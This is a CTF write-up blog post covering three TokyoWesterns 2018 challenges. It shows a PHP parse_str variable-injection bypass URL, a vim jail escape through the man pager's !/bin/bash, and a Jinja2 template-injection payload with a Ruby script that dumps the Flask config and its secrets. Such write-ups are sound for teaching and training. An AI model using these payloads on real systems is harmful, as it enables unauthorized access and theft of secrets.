TokyoWesterns CTF 4th 2018 - Write-ups

Tuesday 4 September 2018 (2018-09-04)

Sunday 29 June 2025 (2025-06-29)

noraj (Alexandre ZANNI)

ctf, misc, security, web, writeups

🇬🇧

Information#

CTF#

Name : TokyoWesterns CTF 4th 2018
Website : tokyowesterns.github.io
Type : Online
Format : Jeopardy
CTF Time : link

SimpleAuth - Web#

http://simpleauth.chal.ctf.westerns.tokyo/

 <?php

require_once 'flag.php';

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

if ($action === 'auth') {
    if (!empty($res['user'])) {
        $user = $res['user'];
    }
    if (!empty($res['pass'])) {
        $pass = $res['pass'];
    }

    if (!empty($user) && !empty($pass)) {
        $hashed_password = hash('md5', $user.$pass);
    }
    if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
        echo $flag;
    }
    else {
        echo 'fail :(';
    }
}
else {
    highlight_file(__FILE__);
}

Here a === operator is used, no loose comparison is possible, and timing attack is nearly impossible.

$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'

There are no known vulnerability on hash(), and it seems not possible to abuse input $user and $pass.

if (!empty($user) && !empty($pass)) {
    $hashed_password = hash('md5', $user.$pass);
}

But take a look at the first part of the code:

if (!empty($_SERVER['QUERY_STRING'])) {
    $query = $_SERVER['QUERY_STRING'];
    $res = parse_str($query);
    if (!empty($res['action'])){
        $action = $res['action'];
    }
}

As you can see parse_str is used and the PHP manual is telling us that using parse_str without result parameter is a very bad idea.

This will dynamically set variables.

This will have a behavior similar to using extract, (I talked about it in a previous article c99.php : A backdoored backdoor).

We just need $hashed_password not to be already set.

But $hashed_password need $user and $pass to be defined.

And we have the choice not to create them so $hashed_password will not be set either.:

if (!empty($res['user'])) {
    $user = $res['user'];
}
if (!empty($res['pass'])) {
    $pass = $res['pass'];
}

Now let's see the running PHP version by taking a look at server HTTP header:

< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.0.31

DEPRECATED as of PHP 7.2.

So we are good to go:

http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e.

The flag was TWCTF{d0_n0t_use_parse_str_without_result_param}.

vimshell - Misc#

Can you escape from jail?

We begin with vim opened on this page:

diff --git a/src/normal.c b/src/normal.c
index 41c762332..0011afb77 100644
--- a/src/normal.c
+++ b/src/normal.c
@@ -274,7 +274,7 @@ static const struct nv_cmd
     {'7',      nv_ignore,      0,                      0},
     {'8',      nv_ignore,      0,                      0},
     {'9',      nv_ignore,      0,                      0},
-    {':',      nv_colon,       0,                      0},
+    // {':',   nv_colon,       0,                      0},
     {';',      nv_csearch,     0,                      FALSE},
     {'<',      nv_operator,    NV_RL,                  0},
     {'=',      nv_operator,    0,                      0},
@@ -297,7 +297,7 @@ static const struct nv_cmd
     {'N',      nv_next,        0,                      SEARCH_REV},
     {'O',      nv_open,        0,                      0},
     {'P',      nv_put,         0,                      0},
-    {'Q',      nv_exmode,      NV_NCW,                 0},
+    // {'Q',   nv_exmode,      NV_NCW,                 0},
     {'R',      nv_Replace,     0,                      FALSE},
     {'S',      nv_subst,       NV_KEEPREG,             0},
     {'T',      nv_csearch,     NV_NCH_ALW|NV_LANG,     BACKWARD},
@@ -318,7 +318,7 @@ static const struct nv_cmd
     {'d',      nv_operator,    0,                      0},
     {'e',      nv_wordcmd,     0,                      FALSE},
     {'f',      nv_csearch,     NV_NCH_ALW|NV_LANG,     FORWARD},
-    {'g',      nv_g_cmd,       NV_NCH_ALW,             FALSE},
+    // {'g',   nv_g_cmd,       NV_NCH_ALW,             FALSE},
     {'h',      nv_left,        NV_RL,                  0},
     {'i',      nv_edit,        NV_NCH,                 0},
     {'j',      nv_down,        0,                      FALSE},

This is a patch they applied on vim, disabling us to use :, Q and g shortcuts.

So we can't use something like :shell or :!/bin/bash.

I found a Vim Cheat Sheet. K shortcut opens man page for word under the cursor.

So just press K and we are in man now.

But their man is not patched. So we can use !/bin/bash to have a shell.

Then we just have to look around to find the flag:

vimshell@vimshell-fbc8f84bf-w82t8:/go$ whoami
vimshell
vimshell@vimshell-fbc8f84bf-w82t8:/go$ pwd
/go
vimshell@vimshell-fbc8f84bf-w82t8:/go$ ls ..
bin  boot  dev  etc  flag  go  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vim  vimshell.patch
vimshell@vimshell-fbc8f84bf-w82t8:/go$ cat ../flag
TWCTF{the_man_with_the_vim}

Shrine - Web#

shrine is translated as jinja in Japanese.

The source code is:

import flask
import os


app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

This is a flask app using jinja template engine, let's try a basic {{ 7*7 }} as a path: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B7*7%7D%7D. This is resulting into 49. So we can make try an SSTI.

We notice this piece of code removing all of our parenthesis, so we can't use things like dir() or __subclasses__().

s = s.replace('(', '').replace(')', '')

Then some global flask methods where removed:

>>> blacklist = ['config', 'self']
>>> ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
'{% set config=None%}{% set self=None%}'

So our request is always prefixed with {% set config=None%}{% set self=None%} before being rendered by jinja2.

This is only disabling us from using config or self globals directly.

OddCoder used url_for and its method __globals__ to access the current_app, replacing self.

So we can call config from it.

{{ url_for.__globals__["current_app"].config }}

Here is a simple ruby script to make the request:

require 'net/http'
require 'cgi'

# URI
base_url = 'http://shrine.chal.ctf.westerns.tokyo/shrine/'
enc_payload = CGI.escape('{{ url_for.__globals__["current_app"].config }}').gsub('+', '%20')
uri = URI(base_url + enc_payload)
puts "[+] Requested URI: #{uri}"
# http config
http = Net::HTTP.new(uri.host, uri.port)

# prepare request
req = Net::HTTP::Get.new(uri)
# fire the request
res = http.request req

puts "[+] HTTP Response: \n"
puts CGI.unescapeHTML(res.body)

Output:

ruby req.rb
[+] Requested URI: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B%20url_for.__globals__%5B%22current_app%22%5D.config%20%7D%7D
[+] HTTP Response: 
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'FLAG': 'TWCTF{pray_f0r_sacred_jinja2}'}>

So http://shrine.chal.ctf.westerns.tokyo/shrine/{{ url_for.__globals__["current_app"].config["FLAG"] }} results in TWCTF{pray_f0r_sacred_jinja2}.